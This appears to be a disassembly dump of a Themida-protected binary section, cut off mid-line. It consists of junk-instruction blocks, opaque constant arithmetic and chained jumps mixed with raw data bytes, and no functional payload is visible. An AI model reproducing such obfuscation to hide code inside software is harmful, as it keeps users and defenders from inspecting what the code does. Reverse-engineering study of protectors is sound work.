ebp push ecx mov ecx, 2 add ebx, ecx jmp loc_50DD87 ; --------------------------------------------------------------------------- db 5Fh dd 2414F756h, 8324348Bh, 684E04C4h, 6130h, 0FF0295E9h dd 505A66FFh, 8904EC83h, 57B5240Ch, 0E959E888h, 0FFFFFB4Dh dd 58E9D001h db 0D9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5156F7: ; CODE XREF: Themida_:0050DAE6j push eax mov eax, 54C139EBh and eax, 296D03B4h sub eax, 0F28EC7C6h xor edx, eax jmp loc_50C701 ; --------------------------------------------------------------------------- dw 295Dh dd 796205F8h, 3C8B36E0h, 4C48124h, 5E000000h, 0D268h, 24348900h dd 0FF7426E9h db 0FFh ; --------------------------------------------------------------------------- loc_51572D: ; CODE XREF: Themida_:00511A56j pop esp jmp loc_5048CD ; --------------------------------------------------------------------------- db 30h dd 0EC6CE9D8h, 0CD31FFFFh, 0FF9D74E9h, 74FF52FFh, 8F5A0424h dd 665C2404h, 0E924048Bh, 0FFFF8FBAh, 8704C783h, 565C243Ch dd 1BEh, 173FE900h, 0ED810000h, 40DC7A6Fh, 900CE959h, 0E958FFFFh dd 0FFFF185Ah ; --------------------------------------------------------------------------- loc_515778: ; CODE XREF: Themida_:005098E6j push ebp mov ebp, 46384C16h add ebp, 693240B0h jmp loc_516099 ; --------------------------------------------------------------------------- loc_515789: ; CODE XREF: Themida_:00505C2Aj add ebx, 4 xchg ebx, [esp] pop esp push 37C0h jmp loc_503BD6 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4EA81h, 14870000h, 4895C24h, 62A1E924h, 0EA29FFFFh dd 0FF72B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5157B9: ; CODE XREF: Themida_:0050F63Dj xchg edi, [esp] jmp loc_51795D ; --------------------------------------------------------------------------- loc_5157C1: ; CODE XREF: Themida_:0050611Aj add [esp+4], ebp pop ebp mov eax, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_516B94 ; --------------------------------------------------------------------------- loc_5157E4: ; CODE XREF: Themida_:0050B11Dj mov [esp], edx mov dh, 3Bh sub bl, 79h add bl, dh add bl, 79h pop edx sub al, 0E6h jmp loc_50C565 ; --------------------------------------------------------------------------- loc_5157F9: ; CODE XREF: Themida_:00510FA4j push 505Dh mov [esp], ebp jmp loc_5164DE ; --------------------------------------------------------------------------- dw 0D031h dd 0FF7737E9h, 0B65266FFh, 52D2043Ch, 0F3D9E951h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51581A: ; CODE XREF: Themida_:00507073j sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_508F51 ; --------------------------------------------------------------------------- dw 0E941h dd 0FFFFF58Bh ; --------------------------------------------------------------------------- loc_51582C: ; CODE XREF: Themida_:0050399Dj xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 6B575F90h shr ecx, 3 sub ecx, 1 and ecx, 67277FC0h jmp loc_50D080 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0E88304C4h, 24048704h, 243C895Ch, 0C781E789h dd 4, 0FF13D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_515869: ; CODE XREF: Themida_:0050FDBFj add eax, ecx sub eax, 110829D5h jmp loc_507C92 ; --------------------------------------------------------------------------- db 5Ch, 89h, 0Ch dd 0D1BA5224h, 4248A07Dh, 0F281DAF7h, 92CBC87Dh, 0FF937DE9h db 0FFh ; --------------------------------------------------------------------------- loc_51588D: ; CODE XREF: Themida_:0050D6F4j push dword ptr [esp+4] mov esi, [esp] jmp loc_515485 ; --------------------------------------------------------------------------- loc_515899: ; CODE XREF: Themida_:0051785Aj add edi, ebp pop ebp add edi, 4 jmp loc_5060F8 ; --------------------------------------------------------------------------- db 0F7h dd 0DEE981D1h, 98BF28Ch, 5009E9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5158B6: ; CODE XREF: Themida_:0050CEC6j push esp jmp loc_50A924 ; --------------------------------------------------------------------------- dword_5158BC dd 0E92434FFh, 0B3Bh, 4EC8159h, 89000000h, 0AE92434h ; DATA XREF: Themida_:00502814o db 26h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5158D3: ; CODE XREF: Themida_:00505C8Cj push edx jmp loc_512E5E ; --------------------------------------------------------------------------- byte_5158D9 db 0FFh, 77h, 38h ; DATA XREF: Themida_:00502834o dd 7CA6B850h, 443138E1h, 48B0424h, 4C48324h, 0FF2434FFh dd 34FF2434h, 0C4815924h, 4, 5204C483h, 93E9E289h, 81FFFFFEh dd 4ECh, 241C8900h, 0DB3A17BBh, 0F3814376h, 1D265FEEh dd 3E95CB81h, 72E95C5Bh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515927: ; CODE XREF: Themida_:0050CE68j add ecx, ebp sub ecx, 12510E44h pop ebp push edx mov edx, 537D7A34h sub edx, 62DC53D0h or edx, 42F4FA8h not edx shl edx, 8 add edx, 0AF6FED04h sub ecx, edx pop edx xchg ecx, [esp] pop esp mov [esp], eax push 59B1h mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] not ecx jmp loc_50B3D2 ; --------------------------------------------------------------------------- loc_515977: ; CODE XREF: Themida_:0050CB33j pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ax mov ah, 9Ah shr ah, 4 and ah, 0F2h shl ah, 3 sub ah, 0EBh push ebx mov bh, ah push edx mov dl, bh jmp loc_508233 ; --------------------------------------------------------------------------- db 88h dd 0E28852D4h, 0FEDF4FE9h, 0E9EA01FFh, 0FFFF3996h dword_5159B0 dd 24048B66h, 0FFA336E9h ; DATA XREF: Themida_:005028ACo db 0FFh ; --------------------------------------------------------------------------- loc_5159B9: ; CODE XREF: Themida_:005085CBj mov [esp], eax mov eax, esp jmp loc_513127 ; --------------------------------------------------------------------------- db 81h dd 81517EFh, 27EF8147h, 5E05F70Dh, 0EDBE9h db 0 byte_5159D5 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:0050280Co dd 0FED0EEE9h, 0D0E9E9FFh, 5651FFFEh, 0F5F1E952h, 0E958FFFEh dd 0FFFF82D8h ; --------------------------------------------------------------------------- loc_5159F0: ; CODE XREF: Themida_:0051296Cj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov edx, edi pop edi mov ebx, [esp] add esp, 4 push edi mov edi, 715443F0h xor edx, edi jmp loc_5081B2 ; --------------------------------------------------------------------------- dd 3BC98149h, 414A2A75h, 0FFB93CE9h, 0D20566FFh, 0BD4E958h dd 0E95E0000h, 0FFFFD107h ; --------------------------------------------------------------------------- loc_515A2C: ; CODE XREF: Themida_:0050A4DAj not edx shl edx, 3 or edx, 0C183261h add edx, 929309Ch jmp loc_50B926 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2474FF57h, 243C8B04h, 0E904C483h, 0FFFFA02Bh, 242C8156h dd 49EE609Ch, 9CC5815Dh, 5E49EE60h, 2C8BEB29h, 88BEE924h dd 4BAFFFFh, 52000000h, 64B7E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515A7E: ; CODE XREF: Themida_:005034D1j sub edi, 4 xchg edi, [esp] jmp loc_50D8BD ; --------------------------------------------------------------------------- dd 3A92BB53h, 0C3814112h, 0BF31D58h, 5A76BA52h, 0D32942E7h dd 685Ah, 1C290000h, 241C8B24h, 4C481h, 0EB810000h, 0CDBDAA31h dd 62F8EA81h, 0DA294893h, 1D4BB850h, 3A2D2863h, 0F764340Fh dd 8E0C1D0h, 628CF835h, 8EEA8198h, 1420828h, 8EC281C2h dd 58420828h, 2434FF5Bh, 4C4835Bh, 0FFB2C6E9h, 0C8C281FFh dd 0E952B024h, 0FFFFDA7Fh ; --------------------------------------------------------------------------- loc_515AFC: ; CODE XREF: Themida_:005089E9j inc ebx jmp loc_5114BD ; --------------------------------------------------------------------------- dw 8B5Eh dd 0C4812414h, 4, 3302C183h, 0C31240Ch, 240C3324h, 6624248Bh dd 9C2404D3h, 0FF9C2EE9h db 0FFh ; --------------------------------------------------------------------------- loc_515B25: ; CODE XREF: Themida_:0050D036j add ebx, 0BC19956Ah add esi, ebx pop ebx sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_5035D7 ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 8B241433h, 24D22424h, 7CE99C24h db 0CFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_515B4F: ; CODE XREF: Themida_:00503329j and eax, edi mov edi, [esp] sub esp, 4 jmp loc_50F194 ; --------------------------------------------------------------------------- db 81h dd 4B6F28C6h, 31F8E914h, 8957FFFFh, 4C781E7h, 83000000h dd 3C8704C7h, 0B8505C24h, 0B187244h, 0D101C083h, 3765E9E8h dd 0EC83FFFFh, 240C8904h, 0FFA19DE9h db 0FFh ; --------------------------------------------------------------------------- loc_515B95: ; CODE XREF: Themida_:0050B3F3j mov ecx, [esp] add esp, 4 sub eax, esi push edi mov edi, 2A6C7B8Eh jmp loc_509AEF ; --------------------------------------------------------------------------- dd 4F48EB81h, 0EB810C79h, 0E4026296h, 0E95BDD01h, 0FFFED926h dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 39AB685Eh, 34890000h dd 4E946824h, 4890000h, 24348124h, 2DF76862h, 6824348Bh dd 570Dh, 89242C89h, 4C581E5h, 83000000h, 0FF5504C5h, 5D042474h dd 5C24048Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_517115 ; --------------------------------------------------------------------------- db 0D1h dd 3AEEE9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515C22: ; CODE XREF: Themida_:0050F24Fj shl edi, 1 add edi, 3C01D53Dh xor ecx, edi jmp loc_504A7E ; --------------------------------------------------------------------------- loc_515C31: ; CODE XREF: Themida_:00512B07j pop ecx push 5029h mov [esp], edi jmp loc_5058A0 ; --------------------------------------------------------------------------- db 5Bh dd 1C8B5453h, 4C48324h, 0CE685350h, 5B739E6Eh, 27BC381h dd 0CB813B8Ch, 0F467512h, 7557EB81h, 0AAE9AF6Eh db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_515C67: ; CODE XREF: Themida_:0050AAF9j xor edi, [esp] jmp loc_5171C5 ; --------------------------------------------------------------------------- db 0F7h dd 0EB814BD3h, 76AD070Dh, 44E5C381h, 0DE29DAEEh, 4EC815Bh dd 89000000h, 0A0BF243Ch, 816A2945h, 0D33947E7h, 0E7D14F2Ah dd 4EC81h, 0C890000h, 1A2BB924h, 0D9F7461Dh, 87CCC181h dd 0CF0972C6h, 83240C8Bh, 0E7C104C4h, 76F78104h, 81CC90DEh dd 0E8211BC6h, 81FE0139h, 0E8211BEEh, 2434FF39h, 4C4815Fh dd 0E9000000h, 0FFFF3625h, 5BDE015Eh, 0D27C781h, 0C78105F7h dd 47081517h, 0FFCB56E9h db 0FFh ; --------------------------------------------------------------------------- loc_515CF1: ; CODE XREF: Themida_:00507873j neg eax add eax, 67345D60h neg eax sub eax, 862A9971h jmp loc_507070 ; --------------------------------------------------------------------------- dd 0C6815E54h, 4, 0FABA5253h, 0F71A0F1Dh, 3FC281DAh, 0E928EE0Eh dd 3A3h ; --------------------------------------------------------------------------- loc_515D20: ; CODE XREF: Themida_:0050E66Ej push edx mov edx, 771F45E5h xor edx, 0DAE8FD11h add ebp, edx pop edx sub ecx, 5A0B4F11h add ecx, ebp add ecx, 5A0B4F11h mov ebp, [esp] add esp, 4 push 36E9h mov [esp], esi jmp loc_509BD7 ; --------------------------------------------------------------------------- loc_515D50: ; CODE XREF: Themida_:00516ABCj add bl, 9Ah jmp loc_511F6E ; --------------------------------------------------------------------------- dd 0BB6EC581h, 0EFE98C77h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515D63: ; CODE XREF: Themida_:005045F0j mov ecx, esp jmp loc_50A907 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFF83F1h, 0A07972BEh, 0A77EE977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515D7A: ; CODE XREF: Themida_:0050E512j pop ebp add edi, ecx add edi, 715F3ADCh push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push eax jmp loc_5160E0 ; --------------------------------------------------------------------------- loc_515D92: ; CODE XREF: Themida_:005035DBj pop esp push edx mov edx, esp jmp loc_50DBE0 ; --------------------------------------------------------------------------- db 83h dd 0D83004C4h, 0E92434FFh, 0FFFFFE97h, 396DEB81h, 0C30127D7h dd 396DC381h, 95E927D7h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_515DBB: ; CODE XREF: Themida_:00516C1Cj mov eax, 5861376h shl eax, 5 jmp loc_503497 ; --------------------------------------------------------------------------- dd 0BF57EB01h, 0C8028C0h, 91E9EFD1h, 1FFFFA1h, 0BA685DE8h dd 89000050h, 52E92414h, 81FFFF3Ch, 4C3h, 4EB8300h, 5C241C87h dd 0FF241C89h, 8B042474h, 0C483241Ch, 24048F04h, 5C26685Ch dd 0C890000h, 36E16824h, 0FAE90000h, 5BFFFFE0h, 348BF131h dd 4C48124h, 81000000h, 0F033F0F1h, 2E9C130h, 8101E983h dd 0F81A55E9h, 0B9515377h, 64E93C60h, 8904EC83h, 595B240Ch dd 43FBCB81h, 0CB814EE1h, 235F6B6Bh, 5BD9C381h, 814B2839h dd 49A3D5F3h, 0E9D909B2h, 0FFFF6822h ; --------------------------------------------------------------------------- loc_515E64: ; CODE XREF: Themida_:0050C714j xor edi, [esp] pop esp and eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_50ADB5 ; --------------------------------------------------------------------------- dw 8166h dd 662054F3h, 1104CB81h, 0A5F38166h, 4810E94Fh, 0C483FFFFh dd 0DCD1E904h, 0D328FFFEh, 0FF93BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_515E99: ; CODE XREF: Themida_:0050D8C9j sub esp, 4 mov [esp], eax mov eax, 72B4537Ch or edi, eax jmp loc_514BFE ; --------------------------------------------------------------------------- db 1 dd 54E958C6h, 81FFFFFAh, 4C6h, 4B85000h, 29000000h, 343358C6h dd 24343124h, 0E9243433h, 0FFFF881Ch, 5024048Fh, 4B8h dd 24440100h, 565D5804h, 5B3F84BEh, 1BE94653h, 81FFFFC4h dd 4C3h, 241C8700h, 0FFCC88E9h, 0FF515CFFh, 59042474h dd 8B24048Fh, 0D1E92424h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515F0B: ; CODE XREF: Themida_:00507931j sub edx, 32D2715Bh mov ebx, edx jmp loc_50D124 ; --------------------------------------------------------------------------- dd 575E595Ah, 0FFE57AE9h, 68EA81FFh, 8174820Ah, 4B7853EAh dd 76EA814Ch, 101E43Dh, 76C281FAh, 8101E43Dh, 4B7853C2h dd 68BF574Ch, 174820Ah, 0F30DE9FAh, 5368FFFEh, 89000068h dd 89572434h, 5FFE89DFh, 4A6868h, 24348900h, 0E9242C8Bh dd 0FFFF639Ah ; --------------------------------------------------------------------------- loc_515F6C: ; CODE XREF: Themida_:0050CC5Dj and ecx, eax push dword ptr [esp] pop eax push ecx jmp loc_5109F6 ; --------------------------------------------------------------------------- dd 400E5BB8h, 548AE965h, 8B54FFFFh, 0C481241Ch, 4, 4BD55h dd 0EB010000h, 0E9242C8Bh, 0FFFF349Ch, 0DBF7D3F7h, 7E3C14Bh dd 387CEB81h, 61E9E1BBh, 1FFFF05h, 5E042474h, 0E92434FFh dd 0FFFFF3AEh, 3304E883h, 4312404h, 24043324h, 2404895Ch dd 3E30F4B8h, 0DFE9E96Fh, 0D488FFFEh, 1C8B595Ah, 0AB54E924h dd 0E95CFFFFh, 0FFFF11BAh ; --------------------------------------------------------------------------- loc_515FE8: ; CODE XREF: Themida_:0050790Dj mov ebp, esp add ebp, 4 jmp loc_50B2ED ; --------------------------------------------------------------------------- loc_515FF5: ; CODE XREF: Themida_:005039D0j push ebx push esp pop ebx jmp loc_517449 ; --------------------------------------------------------------------------- loc_515FFD: ; CODE XREF: Themida_:005107D4j add ecx, 4 jmp loc_5179E8 ; --------------------------------------------------------------------------- loc_516008: ; CODE XREF: Themida_:00516E38j mov ebp, 4 jmp loc_50489E ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFCC89E9h, 0CAA9E9FFh, 685FFFFEh, 57ABh, 50240C89h dd 0E669668h, 0F512E94Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_516036: ; CODE XREF: Themida_:0051097Ej pop ebx push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_512A91 ; --------------------------------------------------------------------------- db 66h dd 9C240429h, 0FECA76E9h db 0FFh ; --------------------------------------------------------------------------- loc_516055: ; CODE XREF: Themida_:00512835j mov edi, eax pop eax add esi, edi pop edi add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] jmp loc_50E47E ; --------------------------------------------------------------------------- dd 5707E5C1h, 9A24ADBFh, 0F2F78152h, 0E9897140h, 0FFFFEF57h ; --------------------------------------------------------------------------- loc_516080: ; CODE XREF: Themida_:00504A79j mov eax, 4 add esi, eax pop eax xchg esi, [esp] jmp loc_516FA0 ; --------------------------------------------------------------------------- dword_516090 dd 582434FFh, 0FF80EDE9h ; DATA XREF: Themida_:00502A1Co db 0FFh ; --------------------------------------------------------------------------- loc_516099: ; CODE XREF: Themida_:00515784j sub ebp, 46173CE3h jmp loc_50E9CD ; --------------------------------------------------------------------------- dd 2C481h, 5B660000h, 0BD665566h, 16664F7h, 0E95D66EBh dd 0FFFF1885h ; --------------------------------------------------------------------------- loc_5160BC: ; CODE XREF: Themida_:005034A7j xchg edx, edi jmp loc_51772A ; --------------------------------------------------------------------------- db 81h dd 321D3C2h, 67CA8161h, 573B1565h, 0F7777B68h, 4842E97Fh dd 0E951FFFFh, 0FFFF3D85h ; --------------------------------------------------------------------------- loc_5160E0: ; CODE XREF: Themida_:00515D8Dj mov eax, esp add eax, 4 jmp loc_5070F7 ; --------------------------------------------------------------------------- loc_5160EC: ; CODE XREF: Themida_:00511E94j pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_50A960 ; --------------------------------------------------------------------------- dd 7930C868h, 0C5815D7Bh, 0D1F001Ah, 8BA2E94Dh, 0EC83FFFFh dd 240C8904h, 0CB00A8B1h, 0D4B45059h, 0F58E328h, 70E9C0B6h dd 5AFFFF51h, 9666850h, 5580435h, 543A4A4Ch, 91DFFF05h dd 17A3E99Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51613A: ; CODE XREF: Themida_:0050867Bj add bh, 0Dh sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], eax mov ah, 0E0h sub ah, 96h dec ah add ah, 17h mov cl, ah pop eax xor bh, cl jmp loc_504CF4 ; --------------------------------------------------------------------------- loc_516163: ; CODE XREF: Themida_:0050E20Dj push esp jmp loc_50AFE0 ; --------------------------------------------------------------------------- db 0F7h, 1Ch, 24h dd 0FF72B0E9h, 4BDFFh, 0E9010000h, 43CCE95Dh, 835EFFFFh dd 1C8702EBh, 1EE95C24h, 81FFFEF8h, 4C3h, 0A0AFE900h, 0F229FFFFh dd 0FF4173E9h, 0E68956FFh, 4C681h, 0E9510000h, 0FFFFE3D3h ; --------------------------------------------------------------------------- loc_5161AC: ; CODE XREF: Themida_:00505B01j add esp, 4 pop dword ptr [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_505DEF ; --------------------------------------------------------------------------- dd 8904EC83h, 62E9240Ch, 31FFFFF3h, 8F66C3h, 0FF7038E9h db 0FFh ; --------------------------------------------------------------------------- loc_5161D1: ; CODE XREF: Themida_:00505186j mov dx, [esp] push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebx jmp loc_50D5D9 ; --------------------------------------------------------------------------- db 1 dd 242C8BEAh, 0E904C483h, 0FFFF319Dh, 0E5883DB4h, 8324048Bh dd 0A6E904C4h, 68FFFFC2h, 64B0h, 68243C89h, 7DE1h, 935E9h db 0 ; --------------------------------------------------------------------------- loc_516215: ; CODE XREF: Themida_:005036F9j mov [esp], edi mov edi, 3AD8500Bh sub edi, 4CF3265Ah or edi, 7DEE6FB0h xor edi, 0F41B5A94h jmp loc_513D74 ; --------------------------------------------------------------------------- loc_516234: ; CODE XREF: Themida_:0050449Ej mov ebp, edx jmp loc_5093EF ; --------------------------------------------------------------------------- db 59h dd 1B69E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516242: ; CODE XREF: Themida_:0050AFF4j pop edi jmp loc_50ACAF ; --------------------------------------------------------------------------- dd 0B9515B54h, 106B09DDh, 6A96B850h, 0D0F73787h, 0DA887805h dd 58C12166h, 9BDE981h, 0CB010043h, 1BB2E9h db 0 ; --------------------------------------------------------------------------- loc_51626D: ; CODE XREF: Themida_:005066CFj add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 175F6C1Bh dec ecx jmp loc_51068E ; --------------------------------------------------------------------------- loc_516284: ; CODE XREF: Themida_:0050D1B1j add edx, 0CA837D8h add [edx], ecx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_50A6D4 ; --------------------------------------------------------------------------- dw 34FFh dd 24348B24h, 8104C483h, 4ECh, 24148900h, 0C2815A54h, 4 dd 0FF01A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5162C5: ; CODE XREF: Themida_:005074F6j push ecx mov ecx, 3FCh jmp loc_50E50A ; --------------------------------------------------------------------------- dd 0BBB9515Fh, 51324717h, 592414F7h, 0C102E1C1h, 0C18103E9h dd 0F9238BE2h, 71E9CF01h, 8BFFFEE4h, 0BAE92424h, 8BFFFF87h dd 89502404h, 0A9CE9E0h, 0C283FFFFh, 0FEE3E904h, 489FFFEh dd 6E996824h, 0C890000h, 78BA5224h, 0E9030A14h, 0FFFF1797h dd 0E6C0C4B6h, 51D6F604h, 0EC8150B5h, 4, 0B2241489h, 1AFCE981h dd 0C681FFFFh, 4, 0FF6BA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_516345: ; CODE XREF: Themida_:0050DA8Cj pop esi push ebx jmp loc_512FD1 ; --------------------------------------------------------------------------- dd 9DE9CE89h, 0FFFFFFEFh db 34h, 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_505C5A ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 8B243433h, 3B662424h, 38E99CC8h, 0BBFFFEC7h, 4, 4245C01h dd 0E9E95D5Bh, 58FFFF39h, 0FF3BE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5163A9: ; CODE XREF: Themida_:0050D812j sub [esp], ebp add dword ptr [esp], 487668F1h pop ebp jmp loc_50E903 ; --------------------------------------------------------------------------- db 81h, 0E6h, 0E0h dd 814D3146h, 0ECECCC6h, 0E9F73123h, 0FFFFCA98h, 4246C81h dd 14C86CC7h, 4244C01h, 4244481h, 14C86CC7h, 381CBF57h dd 4481425Bh, 2CE0824h, 7C01793Ah, 6C810824h, 2CE0824h dd 20E9793Ah, 58FFFF43h, 8904EC83h, 0E0892404h, 0FEE7F2E9h dd 5AD501FFh, 815DE901h, 67C1B8E9h, 0E95053F6h, 0FFFFCDE0h dd 4240481h, 5F000000h, 0FFB352E9h, 81E589FFh, 4ECh, 241C8900h dd 1713BA52h, 0EA813827h, 51C92AF9h, 8105EAC1h, 518846C2h dd 5AD3893Fh, 8108EBC1h, 468473F3h, 0D239E900h, 0C330FFFEh dd 0FFC0B60Fh, 34FF8734h, 24048B24h, 7EDA68h, 611FE900h dd 4159FFFFh, 0E181D9F7h, 6FD74F12h, 61CE9h db 0 ; --------------------------------------------------------------------------- loc_516485: ; CODE XREF: Themida_:0050C8C6j mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_510DAF ; --------------------------------------------------------------------------- dd 8904EC83h, 9AE9243Ch, 46FFFEE4h, 0FFB4CFE9h, 24348BFFh dd 81E18951h, 4C1h, 4BE5600h, 0E9000000h, 0FFFF9701h ; --------------------------------------------------------------------------- loc_5164C4: ; CODE XREF: Themida_:00509AEAj push dword ptr [esp] jmp loc_50E20B ; --------------------------------------------------------------------------- loc_5164CC: ; CODE XREF: Themida_:00511F9Dj pop eax pop dword ptr [esp] jmp loc_502BCF ; --------------------------------------------------------------------------- loc_5164D5: ; CODE XREF: Themida_:0050FDCDj add edx, edi push eax push ebx jmp loc_514321 ; --------------------------------------------------------------------------- loc_5164DE: ; CODE XREF: Themida_:00515801j mov ebp, 20000h and eax, ebp jmp loc_5133D7 ; --------------------------------------------------------------------------- dw 3C31h dd 243C3324h, 0FFB975E9h, 240C8BFFh, 3304C483h, 14312414h dd 24143324h, 6424248Bh, 0FE90288h, 0C1FFFF25h, 0D6F708E6h dd 9937C681h, 0F1297DE1h, 0FFF5E1E9h, 243C33FFh, 0FFE941E9h dd 52D829FFh, 2A04C6BAh, 5469E91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516536: ; CODE XREF: Themida_:00502B68j add bl, al jmp loc_50BAEB ; --------------------------------------------------------------------------- db 59h, 0E9h, 0A8h dd 59FFFF25h, 0FFAAB7E9h db 0FFh byte_516549 db 68h, 0DAh, 0 ; DATA XREF: Themida_:0050287Co dd 45E90000h, 5200000Fh, 124A6ABAh, 65BF2D72h, 0D02958ABh dd 0AB65BF05h, 24148B58h, 4C481h, 0E9510000h, 0FFFFB950h dword_516574 dd 24048B66h, 0E904EC83h, 0FFFEF854h, 44E9C329h ; DATA XREF: Themida_:00502828o db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516587: ; CODE XREF: Themida_:0050D247j mov esp, [esp] mov [esp], ebp jmp loc_511CDD ; --------------------------------------------------------------------------- dw 480h dd 2C28DE24h, 242C8024h, 242C8ADEh, 5604C483h, 8E9E689h dd 5CFFFFF9h, 89241C89h, 4C381E3h, 50000000h, 840E36B8h dd 7F670523h, 0D8F75D58h, 5938F835h, 0B8DCE92Dh, 0EC83FFFFh dd 242C8904h, 6C5C68h, 24348900h, 0FF2871E9h, 0E9F188FFh dd 18A2h, 115868h, 241C8900h, 0E3C0A0B3h, 16D7E902h, 5660000h dd 2D6606ACh, 9AE9465Eh, 0E9FFFFE4h, 0FFFEC4BFh, 0CF1DE952h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_516612: ; CODE XREF: Themida_:0050F3E7j mov edi, 81A15E3Ah sub ebp, edi pop edi sub edx, 1B6A4233h jmp loc_50D08C ; --------------------------------------------------------------------------- loc_516625: ; CODE XREF: Themida_:0050C681j cmp eax, edx jz loc_5178A0 push 74A7h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_50979D ; --------------------------------------------------------------------------- loc_51664B: ; CODE XREF: Themida_:0050543Aj mov ebp, 4 jmp loc_504C45 ; --------------------------------------------------------------------------- loc_516655: ; CODE XREF: Themida_:0050E505j mov edx, [esp] add esp, 4 add esp, 4 push 69Ah mov [esp], eax push 49C8h mov [esp], esp add dword ptr [esp], 4 pop eax push ebp mov ebp, 2EAA7C7Ah shl ebp, 1 jmp loc_50DDFC ; --------------------------------------------------------------------------- dw 0EC83h dd 0D09DE904h, 0EA81FFFFh, 1D252F21h, 57F0EA81h, 3C8B686Ah dd 4C48324h, 0FF563BE9h, 8EDC1FFh, 0A2DFE956h, 6858FFFFh dd 4371h, 0BB241C89h, 50823485h, 7E9DA01h, 51FFFEDFh, 0E06FB9B9h dd 62C18140h, 29F39DEAh, 0FE67E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5166D6: ; CODE XREF: Themida_:005139FAj xchg esi, [esp] mov esp, [esp] jmp loc_517A94 ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 2 dd 6DBB53h, 0EB811CA7h, 162E162Dh, 0EBD4E94Bh, 0FF58FFFEh dd 505F2434h, 0FF2556E9h db 0FFh ; --------------------------------------------------------------------------- loc_516701: ; CODE XREF: Themida_:00508D05j pop edx jmp loc_5146E2 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 66C3315Ch, 8324148Bh, 3C8904ECh, 4A1D6824h dd 24890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 0A464E95Ch, 0C221FFFFh, 0FF8A16E9h db 0FFh ; --------------------------------------------------------------------------- loc_516741: ; CODE XREF: Themida_:0051138Cj mov ecx, 0DFF2473h not ecx sub ecx, 0B6E3BC72h push esi mov esi, 7576765Ah add ecx, esi pop esi dec ecx shl ecx, 1 sub esp, 4 mov [esp], edi push ebp mov ebp, 9ED8D51Eh jmp loc_50BA15 ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 4F7FED81h, 0F5017444h, 4F7FC581h, 0E95E7444h, 0FFFEE53Ah dd 24148B66h, 0C8B5451h, 0D032E924h, 0E959FFFFh, 0FFFFE870h dd 81E78957h, 4C7h, 64BE900h, 0C89FFFFh, 4CC66824h, 24890000h dd 4BA5224h, 1000000h, 5A042454h, 0FED2BAE9h, 0E95E54FFh dd 0FFFFFB6Eh, 0D6868h, 243C8900h, 4BDF6851h, 97E957C3h dd 81FFFFFCh, 15BD82C3h, 5BD9894Bh, 0A7E9CE31h, 68FFFFFFh dd 1C42h, 89240489h, 4BD55E0h, 1000000h, 0C0835DE8h, 74FF5004h dd 8F580424h, 0E95C2404h, 0FFFFF1C9h, 286FC380h, 6FEB80C3h dd 50A4C380h, 535291B4h, 